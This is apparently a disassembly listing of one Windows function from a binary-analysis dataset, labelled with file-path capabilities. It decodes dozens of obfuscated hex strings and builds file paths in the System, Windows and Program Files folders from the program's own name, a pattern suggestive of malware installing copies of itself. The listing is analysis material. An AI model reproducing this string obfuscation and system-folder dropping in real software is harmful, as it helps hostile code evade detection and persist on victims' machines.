Function at 0x401113
Capabilities:
Get common file path
Get program files directory

Disassembly:
push str.795E135A5F2A15414019502F5E1C175A5B645E5D5B66525C1872652C5D441654542347113552515E5545354647463635383033416B423645795A15565E5A104B4464545C581412595C132A5C2D1752521172
call fcn.00401383
push str.1A2466363E2F723629700A05054F490C187C26000D520B164F215432321D4E090A16017C3010151500271F76071B1D491C1B7C2C07184952070E544B3A0B54100C4E20536E651B4E08163D427C7324353420
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B1539550C356E2047332065686C2C20686B206B5B6E206454617514585347165E20533417415651555C
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57340020312863181713174E073302151620044E3E20034114100023000049002C1345081C1A490B0B0008501A0C1B4E1E3961721036555F5727
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B15224E160C1C4E160100360C185849070C533733014E01167C737C6E651B4E1E3961721036555F5727
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B15224E160C1C4E160100360C185849070C533733014E01167C747C6E651B4E1E3961721036555F5727
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B15224E160C1C4E160100360C185849070C533733014E01167C777C6E651B4E1E3961721036555F5727
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B15224E160C1C4E160100360C185849070C53372501430F014F304E313F1B4E08163D427C73555F5727
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B15224E160C1C4E160100360C185849070C536B696E2064652047206E6574206D656172207365676765
call fcn.00401323
push str.13044E071A3D451000520C1D1579500E19410F0C2A4F0A002047206EF56D826D85BA332073656767F9
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D543720005401174E22544E200C50010A1317522F28060E0B152D45031D1B5216364F0B1D1E434C356B536B696E2064652047206E6574206D656172207365676765
call fcn.00401323
push str.0F2E61363C3C652C396F26282061612A2369252C316C2B266B036F392B28206D656172207365676765
call fcn.00401323
push str.200E5812050152165B451D0C6C2C67696B206B690E86C565A09A616E6574206D296530207BFFFA6705
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D543720005401174E22544E200C50010A1317522F360204103B02541B356E2032452065686C2C20686B206B5B6E206454617514585347165E20533417415651555C
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D543720005401174E22544E200C50010A1317522F2B0210451E024E060619532F752065686C2C20686B206B5B6E206454617514585347165E20533417415651555C
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B15224E160C1C4E160100360C185849070C5337696E206465204720EE40E9208D1EFA72800EFE67071A
call fcn.00401323
push str.0D0253030B0245201043101B0558593A0E541F0000471726482243056574206D656172207365676765
call fcn.00401323
push str.0D0253030B02453A185017061A494433044E0E2A0645070E2047206EF56D826D85BA332073656767F9
call fcn.00401323
push str.1A0E43171B07540A2A682E2521734F0707596B690E86C565A09A616E6574206D296530207BFFFA6705
call fcn.00401323
push str.3D0A53090409525D1058006935EB80698B5BF0690E5FFF65803ABB6E015474081D1548209AA2C76715
call fcn.00401323
push str.3B0E47070D07545D10580069E5EB80698B5BF069CE5DFF65E052BA6EC5F5BE6D65617220D2A2C76765
call fcn.00401323
push str.0D0E42170E09450175205F696CEC80696B3E2A69AEE8C4652347206E6174206D6561722073A5C76785
call fcn.00401323
push str.0F0741051A6E20730D545F696CEC80696B3E2A69AEE8C4652347206E6174206D6561722073A5C76785
call fcn.00401323
push str.190450171923470175205F696CEC80696B3E2A69AEE8C4652347206E6174206D6561722073A5C76785
call fcn.00401323
push str.1538702D26220E362D6565696CECC1696B3E2A69B6E885652347206E6174206D6561722073A5866785
call fcn.00401323
push str.1919490C1D4E73031A4F090C1E2C67696B206B690E868665A09A616E6574206D296530207BFFB96705
call fcn.00401323
push str.1A3B6F2D2540652B300045494C0C00494B004B494E0044450067004E4554004D454152005345474745694B0042494E0053550045494C0C00494B004B494E0044450067004E4554004D454152005345474745694B0042496E2073752065696C2C20696B206B696E2064652047206E6574206D656172207365676765
call fcn.00401323
push str.150F4914110F501A46124B0D004020696B206B690E868665A09A616E6574206D296530207BFFB96705
call fcn.00401323
push str.152773233A40652B30205F691DEBC1698B5BB769652064656328440B015474081D15482072AD866765
call fcn.00401323
push str.05387337392A1344752065696CECC1696B3E2A69B6E885652347206E6174206D6561722073A5866785
call fcn.00401323
push str.053873253C2F723746176569CDEBC1690B5FB7694E33BF65E052FB6EC5F5FF6D65617220CAA2866765
call fcn.00401323
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B151B4F0E000D4916067C20111C404F1B0E52373B1B4E6465204720EE40AA208D1EBD72800EB967071A
call fcn.00401323
push str.05044303053D451000520C1D156D551D034F19001A5937104234591D11114D6D656172207365676765
call fcn.00401323
push str.1A0446161E0F521629700A05054F490C187C26000D520B164F2154322C1A5408170F175453201F170926194510353C450001520C0A18454F07187C6B696E2064652047206E6574206D656172207365676765
call fcn.00401323
push str.0704700D191B503E144E040E094145071F206B690E868665A09A616E6574206D296530207BFFB96705
call fcn.00401323
push 0x100
push 0x405b47
call sub.kernel32.dll_GetSystemDirectoryA
jmp 0x40128c
push 0x100
push 0x405c47
call sub.kernel32.dll_GetWindowsDirectoryA
push 0
push 0x26
push 0x405d47
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
push 0x100
push 0x40654f
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x405f47
push 0x405b47
call fcn.00401b40
push str.1538702D26220E362D6565696CECC1696B3E2A69B6E885652347206E6174206D6561722073A5866785
push 0x405f47
call fcn.00401a70
push 0x406047
push 0x405c47
call fcn.00401b40
push str.150F4914110F501A46124B0D004020696B206B690E868665A09A616E6574206D296530207BFFB96705
push 0x406047
call fcn.00401a70
push 0x405e47
push 0x405c47
call fcn.00401b40
push str.152773233A40652B30205F691DEBC1698B5BB769652064656328440B015474081D15482072AD866765
push 0x405e47
call fcn.00401a70
jmp 0x401322
ret